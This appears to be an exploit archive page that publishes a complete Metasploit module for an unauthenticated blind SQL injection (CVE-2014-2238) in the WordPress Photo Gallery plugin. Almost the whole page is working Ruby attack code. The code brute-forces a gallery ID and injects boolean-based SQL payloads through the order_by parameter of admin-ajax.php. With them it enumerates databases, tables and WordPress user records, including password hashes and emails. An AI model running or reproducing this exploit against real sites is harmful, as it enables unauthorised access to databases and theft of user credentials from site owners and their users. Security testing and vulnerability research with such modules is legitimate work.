Exploit the possiblities

Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration

Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration
Posted Jan 13, 2015
Authored by Brandon Perry | Site metasploit.com

This Metasploit module exploits an unauthenticated SQL injection in order to enumerate the Wordpress users tables, including password hashes. This Metasploit module was tested against version 1.2.7.

tags | exploit, sql injection
advisories | CVE-2014-2238
MD5 | 05a4f9eff2ce86e27bee88dc9042ce06

Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
## Current source: https://github.com/rapid7/metasploit-framework
###

require 'msf/core'

class Metasploit4 < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "Wordpress Photo Gallery Unauthenticated SQL Injection User Enumeration",
'Description' => %q{
This module exploits an unauthenticated SQL injection in order to enumerate the Wordpress
users tables, including password hashes. This module was tested against version 1.2.7.
},
'License' => 'ExploitHub',
'Author' =>
[
'Brandon Perry <bperry.volatile[at]gmail.com>' #meatpistol module
],
'References' =>
[
['CVE', '2014-2238'],
],
'Platform' => ['win', 'linux'],
'Privileged' => false,
'DisclosureDate' => "Feb 28 2014"))

register_options(
[
OptInt.new('GALLERYID', [false, 'Gallery ID to use. If not provided, the module will attempt to bruteforce one.', nil]),
OptString.new('TARGETURI', [ true, 'Relative URI of Wordpress installation', '/'])
], self.class)
end

def get_params
{
'tag_id' => 0,
'action' => 'GalleryBox',
'current_view' => 0,
'image_id' => 1,
'gallery_id' => 1,
'theme_id' => 1,
'thumb_width' => 180,
'thumb_height' => 90,
'open_with_fullscreen' => 0,
'open_with_autoplay' => 0,
'image_width' => 800,
'image_height' => 500,
'image_effect' => 'fade',
'sort_by' => 'order',
'order_by' => 'asc',
'enable_image_filmstrip' => 1,
'image_filmstrip_height' => 70,
'enable_image_ctrl_btn' => 1,
'enable_image_fullscreen' => 1,
'popup_enable_info' => 1,
'popup_info_always_show' => 0,
'popup_info_full_width' => 0,
'popup_hit_counter' => 0,
'popup_enable_rate' => 0,
'slideshow_interval' => 5,
'enable_comment_social' => 1,
'enable_image_facebook' => 1,
'enable_image_twitter' => 1,
'enable_image_google' => 1,
'enable_image_pinterest' => 0,
'enable_image_tumblr' => 0,
'watermark_type' => 'none',
'current_url' => ''
}
end

def bruteforce_gallery_id
1.upto(666) do |i|
get_vars = get_params
get_vars['gallery_id'] = i
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_get' => get_vars
})

return i if res and res.body =~ /data\["0"\] = \[\];/
end

fail_with(Failure::Unknown, "Couldn't bruteforce a gallery ID, please explicitly supply a known good gallery ID")
end

def run
gallery_id = datastore['GALLERYID']

if gallery_id == 0
print_status('No GALLERYID supplied, attempting bruteforce.')
gallery_id = bruteforce_gallery_id
print_status("Found a gallery with an ID of #{gallery_id}")
end

parms = get_params
parms['gallery_id'] = gallery_id

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_get' => parms
})

real_length = res.body.length

count = nil
1.upto(999) do |i|
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(COUNT(DISTINCT(schema_name)),0x20) FROM INFORMATION_SCHEMA.SCHEMATA) BETWEEN 0 AND #{i}) THEN 0x2061736320 ELSE 3181*(SELECT 3181 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

count = i if res.body.length == real_length
break if count
end

print_status("Looks like there are #{count} databases.")

schemas = []
0.upto(count-1) do |i|
length = nil

1.upto(999) do |c|
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(CHAR_LENGTH(schema_name),0x20) FROM (SELECT DISTINCT(schema_name) "
payload << "FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1) AS pxqq) BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 6586*"
payload << "(SELECT 6586 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

length = c if res.body.length == real_length
break if !length.nil?
end

print_status("Schema #{i}'s name has a length of #{length}. Getting name.")

name = ''
1.upto(length) do |l|
126.downto(32) do |c|
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(schema_name AS CHAR),0x20) FROM (SELECT DISTINCT(schema_name) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT #{i},1) AS lela),#{l},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 7601*(SELECT 7601 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

vprint_status("Found char #{(c+1).chr}") if res.body.length == real_length
name << (c+1).chr if res.body.length == real_length
break if res.body.length == real_length
end
end
schemas << name
print_status("Found database #{name}")
end

schemas.delete('mysql')
schemas.delete('performance_schema')
schemas.delete('information_schema')

schemas.each do |schema|
num_tables = nil
1.upto(999) do |i|
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(COUNT(table_name),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]}) BETWEEN 0 AND #{i}) THEN 0x2061736320 ELSE 8846*(SELECT 8846 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

num_tables = i if res.body.length == real_length
break if num_tables
end

print_status("Schema #{schema} has #{num_tables} tables. Enumerating.")

tables = []
0.upto(num_tables - 1) do |t|
length = nil
0.upto(64) do |l|
payload = ",(SELECT (CASE WHEN ((SELECT IFNULL(CHAR_LENGTH(table_name),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]} LIMIT #{t},1) BETWEEN 0 AND #{l}) THEN 0x2061736320 ELSE 5819*(SELECT 5819 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

length = l if res.body.length == real_length
break if length
end

print_status("Table #{t}'s name has a length of #{length}")

name = ''
1.upto(length) do |l|
126.downto(32) do |c|
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x#{schema.unpack("H*")[0]} LIMIT #{t},1),#{l},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 5819*(SELECT 5819 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

name << (c+1).chr if res.body.length == real_length
vprint_status("Found char #{(c+1).chr}") if res.body.length == real_length
break if res.body.length == real_length
end
end
print_status("Found table #{name}")
tables << name if name =~ /users$/
end

print_status("Found #{tables.length} possible user tables. Enumerating users.")

tables.each do |table|
table_count = ''
char = 'a'

i = 1
while char
char = nil
58.downto(48) do |c|
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM #{schema}.#{table}),#{i},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 8335*(SELECT 8335 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

char = (c+1).chr if res.body.length == real_length
vprint_status("Found char #{char}") if char
table_count << char if char
break if char
end
i = i + 1
end

table_count = table_count.to_i

print_status("Table #{table} has #{table_count} rows.")
user_cols = ["ID", "user_url", "user_pass", "user_login", "user_email", "user_status", "display_name", "user_nicename", "user_registered", "user_activation_key"]

0.upto(table_count-1) do |t|
user_cols.each do |col|
i = 1
length = '0'
char = 'a'

while char
char = nil
58.downto(48) do |c|
payload = ",(SELECT (CASE WHEN (ORD(MID((SELECT IFNULL(CAST(CHAR_LENGTH(#{col}) AS CHAR),0x20) FROM #{schema}.#{table} ORDER BY ID LIMIT #{t},1),#{i},1)) NOT BETWEEN 0 AND #{c}) THEN 0x2061736320 ELSE 7837*(SELECT 7837 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))"

res = send_injected_request(payload, gallery_id)

char = (c+1).chr if res.body.length == real_length
vprint_status("Found char #{char}") if char
length << char if char
break if char
end
i = i + 1
end

length = length.to_i
print_status("Column #{col} of row #{t} has a length of #{length}")
end
end
end
end
end

def send_injected_request(payload, gallery_id)
parms = get_params
parms['gallery_id'] = gallery_id
parms['order_by'] = 'asc ' + payload

return send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_get' => parms
})
end

end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    4 Files
  • 19
    Nov 19th
    2 Files
  • 20
    Nov 20th
    9 Files
  • 21
    Nov 21st
    15 Files
  • 22
    Nov 22nd
    23 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close